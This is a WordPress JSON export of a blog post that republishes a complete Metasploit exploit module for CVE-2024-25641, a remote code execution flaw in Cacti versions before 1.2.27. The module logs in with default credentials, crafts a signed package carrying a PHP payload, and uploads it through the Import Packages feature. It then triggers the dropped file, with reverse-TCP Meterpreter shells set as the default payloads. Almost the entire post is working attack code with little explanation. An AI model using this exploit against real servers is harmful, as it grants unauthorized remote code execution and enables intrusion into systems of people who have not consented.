{"id":57469,"date":"2024-06-13T17:31:19","date_gmt":"2024-06-13T14:31:19","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179082\/cacti_package_import_rce.rb.txt"},"modified":"2024-06-13T17:31:19","modified_gmt":"2024-06-13T14:31:19","slug":"cacti-import-packages-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cacti-import-packages-remote-code-execution\/","title":{"rendered":"Cacti Import Packages Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Cacti<br \/>include Msf::Payload::Php<br \/>include Msf::Exploit::FileDropper<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Cacti Import Packages RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This exploit module leverages an arbitrary file write vulnerability<br \/>(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It<br \/>abuses the `Import Packages` feature to upload a specially crafted<br \/>package that embeds a PHP file. Cacti will extract this file to an<br \/>accessible location. The module finally triggers the payload to execute<br \/>arbitrary PHP code in the context of the user running the web server.<\/p>\n<p>Authentication is needed and the account must have access to the<br \/>`Import Packages` feature. This is granted by setting the `Import<br \/>Templates` permission in the `Template Editor` section.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Egidio Romano&#8217;, # Initial research and discovery<br \/>&#8216;Christophe De La Fuente&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/karmainsecurity.com\/KIS-2024-04&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/Cacti\/cacti\/security\/advisories\/GHSA-7cmj-g5qc-pj88&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-25641&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix linux win&#8217;],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Arch&#8217; =&gt; [ARCH_PHP, ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP,<br \/>&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>&#8216;Type&#8217; =&gt; :php,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/># Payload is not set automatically when selecting this target.<br \/># Select Meterpreter by default<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;php\/meterpreter\/reverse_tcp&#8217;<br \/>}<br \/>}<br \/>],<br \/>[<br \/>&#8216;Linux Command&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Platform&#8217; =&gt; [ &#8216;unix&#8217;, &#8216;linux&#8217; ],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/># Payload is not set automatically when selecting this target.<br \/># Select a x64 fetch payload by default.<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/linux\/http\/x64\/meterpreter_reverse_tcp&#8217;<br \/>}<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command&#8217;,<br \/>{<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/># Payload is not set automatically when selecting this target.<br \/># Select a x64 fetch payload by default.<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/windows\/http\/x64\/meterpreter_reverse_tcp&#8217;<br \/>}<br \/>}<br \/>]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-05-12&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, IOC_IN_LOGS]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;USERNAME&#8217;, [ true, &#8216;User to login with&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [ true, &#8216;Password to login with&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The base URI of Cacti&#8217;, &#8216;\/cacti&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/># Step 1 &#8211; Check if the target is Cacti and get the version<br \/>print_status(&#8216;Checking Cacti version&#8217;)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;index.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>)<br \/>return CheckCode::Unknown(&#8216;Could not connect to the web server &#8211; no response&#8217;) if res.nil?<\/p>\n<p>html = res.get_html_document<br \/>begin<br \/>cacti_version = parse_version(html)<br \/>version_msg = &#8220;The web server is running Cacti version #{cacti_version}&#8221;<br \/>rescue Msf::Exploit::Cacti::CactiNotFoundError =&gt; e<br \/>return CheckCode::Safe(e.message)<br \/>rescue Msf::Exploit::Cacti::CactiVersionNotFoundError =&gt; e<br \/>return CheckCode::Unknown(e.message)<br \/>end<\/p>\n<p>if Rex::Version.new(cacti_version) &lt; Rex::Version.new(&#8216;1.2.27&#8217;)<br \/>print_good(version_msg)<br \/>else<br \/>return CheckCode::Safe(version_msg)<br \/>end<\/p>\n<p># Step 2 &#8211; Login<br \/>@csrf_token = parse_csrf_token(html)<br \/>return CheckCode::Unknown(&#8216;Could not get the CSRF token from `index.php`&#8217;) if @csrf_token.empty?<\/p>\n<p>begin<br \/>do_login(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;], csrf_token: @csrf_token)<br \/>rescue Msf::Exploit::Cacti::CactiError =&gt; e<br \/>return CheckCode::Unknown(&#8220;Login failed: #{e}&#8221;)<br \/>end<\/p>\n<p>@logged_in = true<\/p>\n<p># Step 3 &#8211; Check if the user has enough permissions to reach `package_import.php`<br \/>print_status(&#8216;Checking permissions to access `package_import.php`&#8217;)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;package_import.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>)<br \/>return CheckCode::Unknown(&#8216;Could not access `package_import.php` &#8211; no response&#8217;) if res.nil?<br \/>return CheckCode::Unknown(&#8220;Could not access `package_import.php` &#8211; unexpected HTTP response code: #{res.code}&#8221;) unless res.code == 200<br \/># The form with the CSRF token input field is not present when access is denied<br \/>if parse_csrf_token(res.get_html_document).empty?<br \/>return CheckCode::Safe(&#8216;Could not access `package_import.php` &#8211; insufficient permissions&#8217;)<br \/>end<\/p>\n<p>CheckCode::Appears<br \/>end<\/p>\n<p># Taken from modules\/payloads\/singles\/php\/exec.rb<br \/>def php_exec(cmd)<br \/>dis = &#8216;$&#8217; + rand_text_alpha(4..7)<br \/>shell = &lt;&lt;-END_OF_PHP_CODE<br \/>#{php_preamble(disabled_varname: dis)}<br \/>$c = base64_decode(&#8220;#{Rex::Text.encode_base64(cmd)}&#8221;);<br \/>#{php_system_block(cmd_varname: &#8216;$c&#8217;, disabled_varname: dis)}<br \/>END_OF_PHP_CODE<\/p>\n<p>Rex::Text.compress(shell)<br \/>end<\/p>\n<p>def generate_package<br \/>@payload_path = &#8220;resource\/#{rand_text_alphanumeric(5..10)}.php&#8221;<\/p>\n<p>php_payload = target[&#8216;Type&#8217;] == :php ? payload.encoded : php_exec(payload.encoded)<\/p>\n<p>digest = OpenSSL::Digest.new(&#8216;SHA256&#8217;)<br \/>pkey = OpenSSL::PKey::RSA.new(2048)<br \/>file_signature = pkey.sign(digest, php_payload)<\/p>\n<p>xml_data = &lt;&lt;~XML<br \/>&lt;xml&gt;<br \/>&lt;files&gt;<br \/>&lt;file&gt;<br \/>&lt;name&gt;#{@payload_path}&lt;\/name&gt;<br \/>&lt;data&gt;#{Rex::Text.encode_base64(php_payload)}&lt;\/data&gt;<br \/>&lt;filesignature&gt;#{Rex::Text.encode_base64(file_signature)}&lt;\/filesignature&gt;<br \/>&lt;\/file&gt;<br \/>&lt;\/files&gt;<br \/>&lt;publickey&gt;#{Rex::Text.encode_base64(pkey.public_key.to_pem)}&lt;\/publickey&gt;<br \/>&lt;signature&gt;&lt;\/signature&gt;<br \/>&lt;\/xml&gt;<br \/>XML<\/p>\n<p>signature = pkey.sign(digest, xml_data)<br \/>xml_data.sub!(&#8216;&lt;signature&gt;&lt;\/signature&gt;&#8217;, &#8220;&lt;signature&gt;#{Rex::Text.encode_base64(signature)}&lt;\/signature&gt;&#8221;)<\/p>\n<p>Rex::Text.gzip(xml_data)<br \/>end<\/p>\n<p>def upload_package<br \/>print_status(&#8216;Uploading the package&#8217;)<br \/># Default parameters sent when importing packages from the web UI<br \/># Randomizing these values might be suspicious<br \/>vars_form = {<br \/>&#8216;__csrf_magic&#8217; =&gt; @csrf_token,<br \/>&#8216;trust_signer&#8217; =&gt; &#8216;on&#8217;,<br \/>&#8216;data_source_profile&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;remove_orphans&#8217; =&gt; &#8216;on&#8217;,<br \/>&#8216;replace_svalues&#8217; =&gt; &#8216;on&#8217;,<br \/>&#8216;image_format&#8217; =&gt; &#8216;3&#8217;,<br \/>&#8216;graph_height&#8217; =&gt; &#8216;200&#8217;,<br \/>&#8216;graph_width&#8217; =&gt; &#8216;700&#8217;,<br \/>&#8216;save_component_import&#8217; =&gt; &#8216;1&#8217;,<br \/>&#8216;preview_only&#8217; =&gt; &#8216;on&#8217;,<br \/>&#8216;action&#8217; =&gt; &#8216;save&#8217;<br \/>}<\/p>\n<p>vars_form_data = []vars_form.each do |name, data|<br \/>vars_form_data &lt;&lt; { &#8216;name&#8217; =&gt; name, &#8216;data&#8217; =&gt; data }<br \/>end<\/p>\n<p>vars_form_data &lt;&lt; {<br \/>&#8216;name&#8217; =&gt; &#8216;import_file&#8217;,<br \/>&#8216;filename&#8217; =&gt; &#8220;#{rand_text_alphanumeric(5..10)}.xml.gz&#8221;,<br \/>&#8216;content_type&#8217; =&gt; &#8216;application\/x-gzip&#8217;,<br \/>&#8216;encoding&#8217; =&gt; &#8216;binary&#8217;,<br \/>&#8216;data&#8217; =&gt; generate_package<br \/>}<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;package_import.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;vars_form_data&#8217; =&gt; vars_form_data<br \/>)<br \/>fail_with(Failure::Unreachable, &#8216;Could not connect to the web server &#8211; no response when sending the preview import request&#8217;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;Unexpected response code (#{res.code}) when sending the preview import request&#8221;) unless res.code == 200<\/p>\n<p>html = res.get_html_document<br \/>local_path = html.xpath(&#8216;\/\/input[starts-with(@id, &#8220;chk_file&#8221;)]\/@title&#8217;).text<br \/>fail_with(Failure::Unknown, &#8216;Unable to import the package&#8217;) if local_path.empty?<\/p>\n<p>vars_form[&#8216;preview_only&#8217;] = &#8221;<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;package_import.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; vars_form<br \/>)<br \/>fail_with(Failure::Unreachable, &#8216;Could not connect to the web server &#8211; no response when importing the package&#8217;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;Unexpected response code when importing the package (#{res.code})&#8221;) unless res.code == 302<\/p>\n<p>local_path<br \/>end<\/p>\n<p>def trigger_payload<br \/># Expecting no response<br \/>print_status(&#8216;Triggering the payload&#8217;)<br \/>send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, @payload_path),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>}, 1)<br \/>end<\/p>\n<p>def exploit<br \/># Setting the `FETCH_DELETE` option seems to break the payload execution.<br \/># `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it<br \/># is not possible to opt-out anymore.<br \/>fail_with(Failure::BadConfig, &#8216;FETCH_DELETE must be set to false&#8217;) if datastore[&#8216;FETCH_DELETE&#8217;]\n<p>unless @csrf_token<br \/>begin<br \/>@csrf_token = get_csrf_token<br \/>rescue CactiError =&gt; e<br \/>fail_with(Failure::NotFound, &#8220;Unable to get the CSRF token: #{e.class} &#8211; #{e}&#8221;)<br \/>end<br \/>end<\/p>\n<p>unless @logged_in<br \/>begin<br \/>do_login(datastore[&#8216;USERNAME&#8217;], datastore[&#8216;PASSWORD&#8217;], csrf_token: @csrf_token)<br \/>rescue CactiError =&gt; e<br \/>fail_with(Failure::NoAccess, &#8220;Login failure: #{e.class} &#8211; #{e}&#8221;)<br \/>end<br \/>end<\/p>\n<p>package_path = upload_package<\/p>\n<p>register_file_for_cleanup(package_path)<\/p>\n<p># For fetch payloads, setting the `FETCH_DELETE` option seems to break the<br \/># payload execution. Using `#register_file_for_cleanup` instead, since we<br \/># know the local path.<br \/>if target[&#8216;Type&#8217;] != :php &amp;&amp; payload_instance.is_a?(Msf::Payload::Adapter::Fetch)<br \/>if File.absolute_path?(datastore[&#8216;FETCH_FILENAME&#8217;])<br \/>register_file_for_cleanup(datastore[&#8216;FETCH_FILENAME&#8217;])<br \/>else<br \/>register_file_for_cleanup(File.join(File.dirname(package_path), datastore[&#8216;FETCH_FILENAME&#8217;]))<br \/>end<br \/>end<\/p>\n<p>trigger_payload<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Cactiinclude Msf::Payload::Phpinclude Msf::Exploit::FileDropperprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Cacti Import Packages RCE&#8217;,&#8216;Description&#8217; =&gt; %q{This exploit module leverages an arbitrary file write vulnerability(CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. Itabuses the `Import Packages` feature to &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57469","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57469","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57469"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57469\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57469"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57469"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57469"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}